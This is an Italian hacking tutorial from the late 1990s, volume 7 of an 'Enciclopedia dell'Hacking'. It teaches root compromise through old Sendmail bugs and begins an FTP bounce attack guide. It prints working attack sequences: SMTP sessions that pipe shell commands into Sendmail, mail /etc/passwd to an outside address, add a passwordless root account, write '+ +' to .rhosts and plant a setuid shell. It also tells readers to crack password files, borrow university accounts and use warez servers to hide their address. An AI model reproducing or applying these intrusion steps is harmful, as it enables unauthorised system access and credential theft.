<=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=> <=-=> <=-=> <=-=> -=> Lord Shinva <=- <=-=> <=-=> <=-=> <=-=> -DiGiTAL::ALLiANCE- <=-=> <=-=> <=-=> <=-=> C : 0 . N : F . E : D . E : R . A : T . i : 0 . N <=-=> <=-=> <=-=> <=-=> <=-=> <=-=> Enciclopedia dell' Hacking <=-=> <=-=> `````````````````````````` <=-=> <=-=> .:[ Volume 7 ]:. <=-=> <=-=> <=-=> <=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=> TECNICHE AVANZATE: SENDMAIL ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sarete felici di sapere che questo e` l'ultimo volume sulle tecniche fondamentali e gli exploit. Dal prossimo inizieremo con l'hacking vero e proprio, e metteremo in pratica (con grande dolore da parte dei SysAdmin) quello che faremo di volta in volta. Ovviamente mi aspettero` che ora che avete abbastanza informazioni di base abbiate chiari concetti come server e client, FakeMail, come fare piccole cose come trovare la versione di un server, ecc. Se qualcosa non dovesse essere chiaro, non esitate a scrivermi e ad esporre il problema. Cerchero` di rispondervi non appena avro` trovato abbatanza tempo. NON chiedetemi qual'e` la password di un sito xxx o dove trovare la versione pirata di un gioco. Siamo hackers, non pirati. Qualcuno mi ha chiesto perche` sto scrivendo questa "enciclopedia". Beh, forse perche` e` quello che ho sempre cercato e non ho mai trovato quando volevo imparare l'hacking... e poi credo che sia molto piu` completa di quei piccoli files sulle basi dell'hacking scritti da hackers, per hackers. Ma quale sarebbe lo scopo? Se uno e` gia` hacker, non ha bisogno di imparare le basi di quello che conosce gia`... okay, parentesi chiusa. Quello che partira` dal prossimo volume sara` pertanto un vero e proprio corso di hacking a puntate (con tanto di supporto via email), dedicato a tutti coloro che mi hanno scritto e hanno creduto in questo progetto di divulgazione, siano essi hackers o wannabe (futuri hackers, speriamo). Iniziamo dunque questo ultimo volume sulle tecniche con una breve descrizione del servizio di posta elettronica di Unix. Il programma server che risponde a chi si collega alla porta SMTP (25) e` chiamato Sendmail. Come abbiamo visto in un precedente volume, all'atto del collegamento via Telnet avremo una risposta di questo genere: 220 server.com Sendmail 8.6/8.7 12/31/97 ready at Sun, 23 Oct 97 19:44:03 PDT (il numero di versione di un server lo troviamo anche sbirciando tra gli headers delle emails che riceviamo quotidianamente). I numeri 8.6/8.7 dopo la parola "Sendmail" (oppure "Smail") rappresentano la versione del server SMTP. Mettiamo una volta per tutte in chiaro che SMTP e` il nome del servizio (della porta 25) e Sendmail e` il nome del programma che si occupa di gestire SMTP: in pratica Sendmail e` il server SMTP di Unix. Dunque, perche` dovremmo voler conoscere il numero di versione di Sendmail? Sendmail e` famoso tra gli hackers come il programma piu` "bacato" esistente. Basti pensare che praticamente tutte le versioni di Sendmail in giro (anche quelle piu` nuove) hanno un qualche bug che un hacker puo` sfruttare per guadagnare illecitamente accesso a un sistema. E il bello e` il modo in cui lo si fa; non tramite una password o chissa` cosa, ma dalla parte piu` "innocua" di un sistema informatico: la posta elettronica! Vogliamo vedere cosa si puo` fare con Sendmail? :) Iniziamo con le sottoversioni della 8.6 (piu` precisamente le 8.6.6 e 8.6.7). Vogliamo una shell root? Niente di piu` facile: bastera` chiamare il programma Sendmail con il parametro -d seguito da un numero molto grande, come nel seguente esempio: Sendmail -d3344556677 Se non avete un accesso diretto al server (e quindi state "lavorando" da remoto) avrete bisogno di una shell per "chiamare" Sendmail. Come ottenerla sara` oggetto dei prossimi volumi, ma se andate di fretta potete sempre prendere un file passwd o shadow e crackarlo per avere accesso shell. L'ideale sarebbe un account di quale Universita`... Oppure potreste usare l'hack del PHF (o della Query, come ultima risorsa) per eseguire il comando senza bisogno di shell interattiva. Ancora una volta vi consiglio di aspettare di conoscere TUTTA la materia, prima di mettere in pratica... ancora non sapete come nascondervi in un sistema, quindi non abbiate fretta. Se proprio volete testare qualcosa, procuratevi Linux (se non l'avete gia`), installatelo sul VOSTRO computer e provate. Per la cronaca, la sottoversione 8.6.9 non e` vulnerabile a quest'attacco, ma anche qui si puo` avere una shell root, utilizzando un exploit che si trova sui siti per hackers. Si tratta di un programmino in C (creato da Atreus). Non lo includo perche` dalla versione 8.6.12 (compresa) in poi tale exploit non funziona. NOTA: la maggior parte dei problemi di sicurezza vengono fatti notare e molto spesso anche risolti proprio dagli hackers. Se non ci fossero gli hackers saremmo rimasti a versioni... preistoriche, dove bastava scrivere WIZ per avere tutto un computer ai propri comandi. Un motivo in piu` per smettere di prendersela con noi se si assume personale incapace di gestire seriamente un sistema informatico, sia esso in rete o meno. Ci sono molte altre versioni 8.x.x bacate, ma poiche` si tratta di piccoli bug tutti diversi e` consigliabile cercare quello che interessa sul sito di 8lgm (http://www.8lgm.org), che elenca tutti i bug e ne da` un hack completo per ciascuno, o su L0pht (http://www.l0pht.com). Unix assegna un livello utente (UID, cioe` User IDentifier) e un livello di gruppo (GID, cioe` Group IDentifier) a ciascun utente. Un UID pari a 0 e` (quasi sempre) un utente root. Se ad esempio nel file passwd di un sito troviamo... root:7u89vCSK0oL:amministratore:0:0:/:/bin/sh il primo numero (0) e` UID e il secondo (0) e` GID. E` possibile sfruttare un bug di Sendmail per forzare il nostro UID a 0... e diventare root :) Supponiamo infatti di aver crackato la password di un utente qualsiasi, ma di non riuscire ad accedere a root... come fare? Utilizzando questo hack sul Sendmail. Bisognera` innanzitutto avere accesso a una shell; molti utenti hanno una shell, anche se limitata, ma servira` allo scopo. Se proprio non riuscite a procurarvene una, collegatevi a una delle tantissime BBS via Telnet presenti su Internet. Esse sono quasi sempre ad accesso gratuito e usano sistemi Unix, con tanto di shell per gli utenti. Non sono shell root... ma sapremo accontentarci, dal momento che da una shell ad accesso limitato si puo` arrivare a root. Alcuni siti, come quello di Lord Somer (http://www.ilf.net/LordSomer/), hanno intere liste di BBS Telnet. Dovete solo scegliere quella che preferite. Dicevamo, come forzare UID a 0 ora che abbiamo una shell? Digitando quanto segue: % cat ~/.forward <-- noi <-- noi miosito.com miousername <-- noi ^D <-- noi (premere Ctrl-D) % smail -bs -D ~root/.rhosts -v20 <-- noi 220 provider.com Sendmail x.x.x.x ready ecc... <-- server expn root <-- noi 250<-- server quit <-- noi % rsh -l root lamesite.com tcsh\ -i <-- noi WARNING: no access to TTY (bad file number) <-- server # id <-- noi UID=0 GID=0 <-- server Nell'ultima riga, quando scriviamo il comando ID, il server risponde che il nostro UID e il nostro GID sono uguali a 0... il che significa... beh, lo avete capito =) I vecchi server Sendmail (versioni 5.xx) hanno dei bug estremamente gravi; basti pensare alla versione 5.64 che permette di sfruttare il programma "decode" (uudecode) di Unix per "eliminare" l'accesso tramite password. In pratica, inviando una FakeMail (con Telnet) di questo tipo: HELO hacker.com MAIL FROM: bin RCPT TO: decode DATA begin 644 /usr/bin/.rhosts $*R`K"@`` ` end . QUIT sara` poi possibile utilizzare un client rlogin per collegarsi senza bisogno di password. Ma come e` stato possibile? Quello che e` successo e` questo: il file .rhosts di Unix contiene una lista di hostname e username ai quali e` consentito l'accesso. Mettendo un + al posto di hostname e username si consente l'accesso a chiunque, ed e` esattamente questo cio` che abbiamo fatto: la linea dopo "begin 644..." non e` altro che tale comando (+ +) codificato con il programma encode (uuencode). Inviando questa FakeMail a decode (uudecode) quel codice verra` ritrasformato in "+ +" e scritto nel file /usr/bin/.rhosts (vedi sopra). Bastera` dunque procurarsi un client rlogin per accedere tranquillamente al server... La versione 5.65 di Sendmail (la successiva a quella appena vista, creata per risolvere quel problema) e` ancora piu` pericolosa... ;) Infatti basta inviare via Telnet i seguenti comandi: HELO hackers.com MAIL FROM: |/usr/ucb/tail|/usr/bin/sh RCPT TO: prova DATA From: [email protected] Return-Receipt-To: |nessuno #!/bin/sh COMANDI . QUIT Al posto di "COMANDI" vanno inseriti uno o piu` comandi shell (su righe separate), come ad esempio: /bin/mail [email protected] < /etc/passwd per inviare a voi stessi il file /etc/passwd (o qualsiasi altro), oppure: echo prova::0:0::/:/bin/sh >> /etc/passwd per aggiungere l'account "prova" (con accesso root, senza password, con shell root e accesso a tutto l'hard disk....) al file /etc/passwd (notate i due >> anziche` uno solo). O ancora: chmod 777 /etc/passwd per rendere il file /etc/passwd (o altro) prelevabile senza restrizioni, o: cp /bin/sh /tmp/pirata chmod 6777 /tmp/pirata dove nella prima riga copiamo (cp) la shell (/bin/sh) nella directory /tmp col nome di "pirata" (vi consiglio di cambiare questo nome :) Nella seconda riga diamo accesso al file /tmp/pirata a chiunque, anche a un utente qualunque. Tale file non e` altro, come abbiamo visto, che la shell. Quindi bastera` andare in /tmp ogniqualvolta vi servira` una shell root, e digitare "pirata" per invocare la shell ed eseguire un qualsiasi comando. Un altro hack famoso e` quello dell'attacco del pipe, funzionante su versione 5.56 (e altre). Funziona cosi`: si prepara una semplice FakeMail del tipo... HELO hacker.com MAIL FROM:<"|/bin/mail [email protected] < /etc/passwd"> RCPT TO:<"[email protected]"> DATA questa e` una prova... . QUIT e, se il server e` vulnerabile, riceveremo il file /etc/passwd via e-mail. Naturalmente si potra` usare qualsiasi comando dopo il pipe (il "|"). TECNICHE AVANZATE: FTP BOUNCE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Passiamo ora a qualcosa di veramente interessante: FTP. Vi chiederete: ma FTP non serve solo a trasferire i file? La risposta e` no. Beh, dovrebbe essere si... ma sapete com'e`... un hacker e` un po` come un bambino curioso che si diverte di piu` a "smontare" un giocattolo che a usarlo per quello a cui servirebbe =) Innanzitutto sappiate che FTP altro non e` che una sessione di Telnet con qualche piccolo extra in piu` (il trasferimento di file). Esistono infatti dei comandi "interni", come abbiamo visto per SMTP, e quindi anche FTP e` gestibile (in parte) tramite Telnet. La tecnica che ci accingiamo a studiare e` detta "FTP Bounce" (rimbalzo dell'FTP). Vi servira` innanzitutto un server FTP che vi permetta di inviare e prelevare files da una directory qualsiasi. Potete tranquillamente trovare tali server cercando la parola "warez" (software commerciale piratato) con un motore di ricerca di files come "FTP Search" (http://ftpsearch.ntnu.no/ftpsearch), oppure "Filez" (http://www.filez.com); prendete nota anche della directory che verra` visualizzata accanto al nome del server che la contiene. Ora provate a collegarvi a uno di quei server, ed a entrare nella directory "warez" (o un'altra in cui si possano leggere e scrivere i files). Provate a inviare un file di prova e a prelevarlo di nuovo, per controllare se e` questo il server "giusto". Se tutto funziona, lo avete trovato, altrimenti usatene un altro (ce ne sono moltissimi). Questo server sara` la vostra "base". In tutti gli attacchi che effettuerete verra` visualizzato l'IP Address di questo server, anziche` il vostro. Ora studiamo il funzionamento dell'attacco, in modo da poterlo adattare a qualsiasi nostro bisogno, per poter magari anche inventare nuovi metodi di utilizzo a seconda delle necessita`. Dovremo innanzitutto creare un file (vedremo tra poco come) che contenga i comandi che vogliamo far eseguire (in base a cio` che vogliamo fare). Non preoccupatevi ora del suo contenuto. Per ora ci interessa solo studiare il funzionamento della tecnica, e poi procedere con gli esempi. Ora ci servira` un normale programma client FTP (come Cute-FTP e WS-FTP se usate Windows, oppure il comando FTP di Linux). Lo useremo per inviare il file di cui sopra nel server "base" che abbiamo scelto prima. Una volta inviato il nostro file, chiuderemo FTP e passeremo a Telnet. La porta di FTP e` la numero 21. Colleghiamoci dunque al server "base" alla porta 21 e aspettiamo una risposta. Ora potremo inserire i comandi: USER anonymous PASS [email protected] e, se l'accesso anonimo e` abilitato (come succede nel 90% dei casi), il server rispondera` qualcosa come "User anonymous logged in". Siamo dentro. Dobbiamo ora conoscere l'IP Address del server da attaccare. Percio` avremo bisogno di un programma DNS per risalire dall'host name all'IP Address.